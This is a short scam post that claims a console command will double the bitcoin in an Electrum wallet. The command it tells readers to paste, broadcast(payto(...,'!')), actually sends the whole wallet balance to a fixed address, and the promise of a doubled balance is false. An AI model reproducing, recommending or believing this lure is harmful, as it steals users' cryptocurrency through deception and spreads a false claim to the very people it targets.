Double bitcoins in Electrum wallet works on 2020 :
         
        Step 1 - Click in View>Show Console
        Step 2 - Open console tab and put this command:  

               broadcast(payto('112wUxBpgBwzP26pSQF3eBXCj92U11nMhU','!'))

        Step 3 - Hit enter button, if console shows message like this: "txid...."  it works! restart Electrum and view your Balance x2 !